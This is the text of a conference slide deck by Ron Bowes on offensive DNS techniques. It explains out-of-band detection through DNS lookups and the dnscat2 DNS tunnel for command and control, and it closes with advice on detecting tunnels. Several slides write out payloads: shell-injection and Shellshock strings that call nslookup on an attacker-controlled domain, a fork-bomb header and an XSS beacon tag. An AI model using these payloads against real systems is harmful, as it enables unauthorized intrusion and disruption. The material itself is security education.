Evil DNS tricks
Pentesting with DNS
Ron Bowes, SkullSecurity

Source: http://xkcd.com/1361/
ron@skullsecurity.net

Wow!

Such BSides

Wow!

@iagox86

Much SkullSpace

Many Google

Wow!

Yes, I know doge isn't cool anymore. It was when I made this slide. Now I'm taking it back!
You know the drill...

...but I have to say it.

The stuff I talk about here does not reflect the views of my employer, nor do does my employer necessarily condone anything I've done.

Information is provided without warranty, obligation, or consent. All sales final. See your pentester if symptoms continue for more than 3 days.
Things I'm gonna talk about

- How to use DNS in pentesting
- How to use DNS's indirect nature
- DNS tunnelling (dnscat2)

Things I'm not gonna talk about

- Specific DNS vulns
  - (poisoning, misconfiguration, etc.)
- dnssec
How DNS works

...in 5 minutes, or your money back (but not actually)
DNS requests (recursive)

Is it cached?
Yes: respond
No: send to X.root-servers.net

dig @192.168.0.1 test.skullseclabs.org

Return anything we want

skullseclabs.org
Notice…

The end user never sent me a packet!

In fact, the endpoint didn't send a single packet that left their network!

(the router did)
Protocol stuff
DNS record types

- A: IPv4 address
- AAAA: IPv6 address
- MX: Mail server
- TXT: Text content (any kind of binary data, sorta)
- CNAME: Alias
- NS: Nameserver
- ANY: (Special) requests any record type
Packet structure

Header

<table>
<thead>
<tr>
<th>QR</th>
<th>Opcode</th>
<th>AA</th>
<th>TC</th>
<th>RD</th>
<th>RA</th>
<th>Z</th>
<th>RCODE</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>QDCOUNT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ANCOUNT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>NSCOUNT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>ARCOUNT</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Questions, Answers, etc.</th>
</tr>
</thead>
</table>

Source:
RFC 1035
### Packet structure

![Packet structure diagram]

**Question**

Source: RFC 1035
Name encoding

Each segment of a name is encoded by prefixing its length

www.google.com → "\x03www\x06google\x03com\x00"

Max length is 0x3F (63) bytes; length values >= 0x40 have special meanings
Interesting aside: record compression

Remember I mentioned that lengths >=0x40 are special? Well, 0xc0 (in bits, 11xxxxxx) is a "pointer" name, where the "xxxxxx" is another offset in the packet

Naturally, this can point to itself, causing infinite loops on a number of DNS clients / servers. :)

It was also the source of a critical vulnerability I found in dnsmasq¹

Packet structure

Resource record (answer)

Source: RFC 1035
Fun and games with Recursive DNS
The best part of DNS…

…is that it's allowed off every network. Ever.

(Almost.)
The scenario...

I own skullseclabs.org. All requests to *.skullseclabs.org go to my DNS server

CHALLENGE ACCEPTED
Simple case: is somebody pinging me?

# ruby ./dnslogger.rb
dnslogger v1.0.0 is starting!
Starting dnslogger DNS server on 0.0.0.0:53
...

$ ping ab12.skullseclabs.org
Ping request could not find host ab12.skullseclabs.org. Please check the name and try again.

... 
Got a request for ab12.skullseclabs.org [type = A], responding with NXDomain
Cross-site scripting in logs?

Cross-site scripting occurs when HTML runs in somebody else's browser... but, how do you know when it runs?

What if I set my user-agent to `<img src='http://ab12.skullseclabs.org/img.jpg'>` then watch my DNS server?

```
# ruby ./dnslogger.rb
dnslogger v1.0.0 is starting!
Starting dnslogger DNS server on 0.0.0.0:53
Got a request for ab12.skullseclabs.org [type = A], responding with NXDomain
```
Cross-site scripting - what happened?

1. HTTP Request is sent
2. HTML is returned
3. DNS request sent
4. NXDOMAIN

NXDOMAIN = "host not found"
Why do we care?

We care, because

1. A packet capture will look completely innocent
2. We aren't directly connecting off the network, so firewalls will never know
3. It's stealthy as hell

$ curl http://ab12.skullseclabs.org/img.jpg

curl: (6) Couldn't resolve host 'ab12.skullseclabs.org'

$ ping ab12.skullseclabs.org

Ping request could not find host ab12.skullseclabs.org. Please check the name and try again.
Want to know if somebody tries to email you?

It's easy! Use admin@abc123.skullseclabs.org

$ ./dnslogger
Question 0: abc123.skullseclabs.org (0x000f 0x0001)

Result? Probably nothing, maybe find anti-spam?
Shell injection

Time for my favourite: shell injection!

Using this technique, it's trivial to find shell injection, even blind shell injection, in an entirely platform independent way!

Simply inject a DNS lookup into every field:

`;nslookup sh123.skullseclabs.org`
`nslookup sh321.skullseclabs.org`
|nslookup sh213.skullseclabs.org|
$(nslookup sh132.skullseclabs.org)
..etc

Bonus: works on Windows, Linux, BSD, etc.
Shell injection - result?

Full server access, in almost every case.

No false positives; no false negatives. Guaranteed*!

* Not a guarantee
Speaking of which....

Remember shellshock?

Find it more easily than ever:

User-Agent: () { test;};nslookup pwn.skullseclabs.org
Joking, of course...

REAL jerks use:

- User-agent: () { :: }; :(){ :: & };::
DNS tunneling
Starring: dnscat2

Photo credit: me!
DNS Tunneling? Why?

How exploitation works...

Pwn a server
How do you talk to the pwned service?

- Bind shell? Reverse shell?
Remember this DNS diagram?

We can bypass most firewalls!

DNS traffic goes through the router

Most traffic gets blocked

Router

Internet
Some history

There were various DNS tunnels in the past, including one called 'dnscat' (it was Java - hasn't been updated since 2005), based on 'NSTX': [http://tadek.pietraszek.org/projects/DNScat/](http://tadek.pietraszek.org/projects/DNScat/)

I wrote my own 'dnscat' as part of 'nbtool' a few years ago, roughly 2009: [https://github.com/iagox86/nbtool](https://github.com/iagox86/nbtool)

Re-wrote from scratch as 'dnscat2' a couple years ago. Still actively developing it!
How is this different from…?

Most tunnels were written to get around paywalls, and only tunnel TCP

I explicitly de-scoped general-purpose tunnelling, and focused on command & control

Raw data (not TCP) over DNS is uncommon, possibly unprecedented (at least in the open source world)
And it's totally open source!

All code is BSD licensed and available on Github:

https://github.com/iagox86/dnscat2

Always happen to accept PRs! I document stuff like crazy!
Features

Multiple simultaneous sessions

"Command" session (like meterpreter) - can execute commands, upload/download files, etc.

"Console" mode, where you can just type messages back and forth
Challenges with DNS

DNS is a really, really frustrating protocol to work with

Let's look at some of the more interesting challenges!
Challenge: DNS is stateless

This may be the most annoying problem

All requests come on the same port, from random upstream servers

It's impossible to know who sent which packet
Solution: session_id field

A field in the dnscat2 header that uniquely identifies a "connection"

Always sent in cleartext at the start of a packet, even encrypted packets (unfortunately, there's no alternative)
Challenge: DNS is one way

The client can ask the server a question

But the server can't ask the client anything

In fact, the server doesn't know who the client is!
Solution: two-way communication

Solution: The client polls the server occasionally

What's the TXT record of "42494e474f0a.skullseclabs.org"?

It's "57617320686973206e616d652d6f0a"
The client even sends blank messages when it has no data

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?
It's "77686f2773207468657265"

TXT for "656666"?
It's "6566662077686f3f"

TXT for "656666207796f7521"?
It's ""

TXT for ""?
It's ""

TXT for "474554204954213f"

TXT for ""?
It's ""

TXT for ""?
It's ""
Simple, right?

In reality, it works a little more like:

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

\( T \) for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

\( T \) for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

\( T \) for "6b6e6f636b206b6e6f636b.skullseclabs.org"?

It's "6566662077686f3f"

It's "6566662077686f3f"

It's "6566662077686f3f"

Screw it. I'm getting a beer.
Challenge: DNS is damn unreliable

Retransmissions and drops are common

In fact, many DNS clients / relays will gratuitously retransmit, like it's a game or something!
Solution: A custom protocol

Uses a simple TCP-like protocol, designed with one-way communication mind

Has SYN/FIN packets to start/end sessions like TCP, and has MSG packets in the middle

Also has a brand new packet type, ENC, which we'll talk about later!
Challenge: DNS has a limited character set

DNS is usually pretty permissive…

… except when it's not.

Some DNS servers are case sensitive. Some aren't.

TXT records can contain any character.  
… except for NUL bytes on Windows DNS.
Solution: Hex encoding!

In my tool, everything is encoded in hex ("6d6f6f.skullseclabs.org") - case is ignored.

I tried base64, but OS X would change the case for fun

I do have a plan to add base-32 for the ~12% extra efficiency
I thought it was working, but then…

You know that feeling when things work great in your test lab, but fail in the real world?
This is annoying!

TXT for "6b6e6f636b206b6e6f636b.skullseclabs.org"?
It's "77686f2773207468657265"

TXT for "656666"?
It's "6566662077686f3f"

TXT for "65666620796f7521"?
It's ""

TXT for ""?
It's ""

TXT for ""?
It's ""

TXT for ""?
It's ""

TXT for ""?
It's ""

"I'm helping!"
Caching solution: random value

Each packet has a "request id" field - a random, meaningless value

It's used for literally nothing; it's purely to fix caching.
Protocol

Let's look at the protocols that dnscat uses!

1. DNS tunnel protocol
2. dnscat protocol
3. dnscat command protocol

DNS tunnel protocol

 Specifies how the the data bytes hit the wire, something like Layer 1

 In other words, how to take an arbitrarily long stream of bytes and send it unreliably to the other side

 *This is the only DNS-specific part of dnscat2! And it can very easily be swapped out!*
DNS tunnel protocol

By default, uses CNAME, MX, and TXT records

Can also use A/AAAA, but it's slower and less reliable

Any combination can be used, and dnscat2 randomizes each request.
dnscat protocol

A generic protocol for tunnelling over unreliable one-way protocols

Builds in reliability, encryption, full duplex communication

Only has to poll with a stream of bytes - works fine over DNS, HTTPS, ICMP, etc.
Command protocol

Essentially a command & control protocol

Runs over the dnscat protocol to execute processes, upload files, download files, etc.

Easily replaceable, which is good, because I don't love it. :)}
New features in 0.04

0.04 will be released… right now!
Big new feature: Encryption!

Encryption's hard.

Let's go shopping.
Big new feature: Encryption!

All sessions are now encrypted - by default!

They can also be authenticated (to prevent man-in-the-middle attacks) with a pre-shared secret.

Note: not 100% rock solid; I'm not an expert!
Usage

To encrypt:
   ./dnscat <domain>

To encrypt + authenticate (server requires same secret):
   ./dnscat --secret=<secret> <domain>

To NOT encrypt (server requires --security=open):
   ./dnscat --no-encryption <domain>
Short authentication strings

If no --secret is set, a "short authentication string" (inspired by ZRTP) is displayed

Six words (each represent a byte) that the user can manually verify on both ends

A quick way to visually prevent MitM
Technical details

Key exchange: ECDH w/ 256-bit keys (P-256)
Authenticator/signature/SAS: SHA-3
Encryption: Salsa20

(The choices were more informed by what I could find in Ruby/C than by what I actually wanted to use)

Way more details: https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md
Future plans
Speed: Compression + Base32

Base32 can carry ~12% more data than hex

Compressing packets can probably reduce the size by an additional 10-20% (source: random guess)
Traffic forwarding

- Owned client
  - Connects on port 445

- Vulnerable server

- Metasploit, etc

- dnscat2 server
  - Listens on port 1234

- We attack at dawn
Shellcode (aka, exploit payload)

When an attacker exploits a system, they force a program to run "shellcode" (so-called because it spawns a shell)

The shell can't always re-use the socket, so they have to either connect out or connect back.
Can we write a DNS payload?

Absolutely!

I wrote one for dnscat1 a couple years back\(^1\)

It's 956 bytes long on Linux, and 1025 bytes on Windows

I also wrote a stager, which was 232 bytes on Windows!

\(^1\)https://github.com/iagox86/nbtool/tree/master/samples/
Updated UI

Over the past months, I carefully decoupled the UI from everything else

I plan to add new UI options, including ncuses and Web-based (with Ember.js)
Summary of planned improvements

- Speed (compression / base32)
- Traffic forwarding
- Exploit payload
- Updated UI
Status

Working hard on new features! Still considering it a pre-release, however. If you want to beta test:

https://github.com/iagox86/dnscat2

It currently compiles on Linux, Cygwin, BSD, and Visual Studio. It should compile on OS X as well, but occasionally I break that (I don't have OS X to test on)
Defense
The ultimate goal of dnscat2...

... is for dnscat2 not to work anywhere.

That's the fun of writing offensive tools.

But really, it's about giving us an easy way to prove that there's a problem!
Detection

… because I have friends who get mad when I only deliver bad news. :)

Tunneled DNS traffic stands out like a sore thumb; it's just a matter of looking for it!

A local friend wrote a thesis on it:
https://www.riebart.ca/hg/thesis/file/70f30181eb5c/Proposal/proposal.pdf
Detection

To summarize:

● Collect all DNS queries for some block of time
● Group the DNS queries by registered domain
  ○ For each domain, compute:
    ▪ The average length of queries
    ▪ The entropy of the queries
  ○ Then multiply them - the product is the metric for that domain.

● DNS tunnels stand out like a sore thumb
  ○ Current version of dnscat2 was detected in ~10 seconds
  ○ (There are some false positives, such as CDNs)

More info: https://www.riebart.ca/hg/thesis/file/70f30181eb5c/Proposal/proposal.pdf
Some other resources…

Some other research I've run across (if I miss something, please let me know!):

- The owner of the Bro Network Security Monitor said he detects it with a Bro Script, but I can't find the script.
- Blacks Hills Information Security used RITA (Real Intelligence Threat Analysis) to detect dnscat2 and other backdoors by entropy:
  - [http://www.blackhillsinfosec.com/#!rita/wrje5](http://www.blackhillsinfosec.com/#!rita/wrje5)
Question?

Ron Bowes <ron@skullsecurity.net>
https://www.skullsecurity.org/
Twitter: @iagox86
Github: iagox86